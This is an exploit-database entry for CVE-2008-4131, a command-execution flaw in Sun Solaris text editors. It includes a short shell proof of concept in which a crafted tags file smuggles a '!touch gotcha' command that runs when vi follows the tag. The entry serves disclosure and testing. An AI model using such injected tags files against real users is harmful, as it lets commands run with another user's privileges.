Sun Solaris 9/10 Text Editors - Command Execution

Author: Eli the Bearded
type: remote
platform: solaris
port: 
date_added: 2008-09-17
date_updated: 2014-03-20
verified: 1
codes: CVE-2008-4131;OSVDB-48197
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/31229/info

Sun Solaris text editors are prone to a command-execution vulnerability.

An attacker may leverage this issue to execute arbitrary commands with the privileges of another user on the affected computer.

Sun Solaris 8, 9, and 10 are affected.

$ echo "This is line 1" > file1
$ echo "file1line1<TAB>file1<TAB>:1|!touch gotcha" > tags
$ ls
file1   tags
$ vi -t file1line1
:q!
$ ls
file1   gotcha   tags
$